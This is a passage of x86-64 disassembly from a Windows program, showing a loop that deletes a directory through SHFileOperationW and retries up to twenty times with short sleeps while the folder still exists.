mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov ebx, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b00f
test al, 0x10
je 0x14000b00f
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbp
mov word [rsp + 0x40], r14w
mov dword [rsp + 0x44], edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], rbp
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
inc ebx
cmp ebx, 0x14
jl 0x14000afb5
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
add rsp, 0x68
ret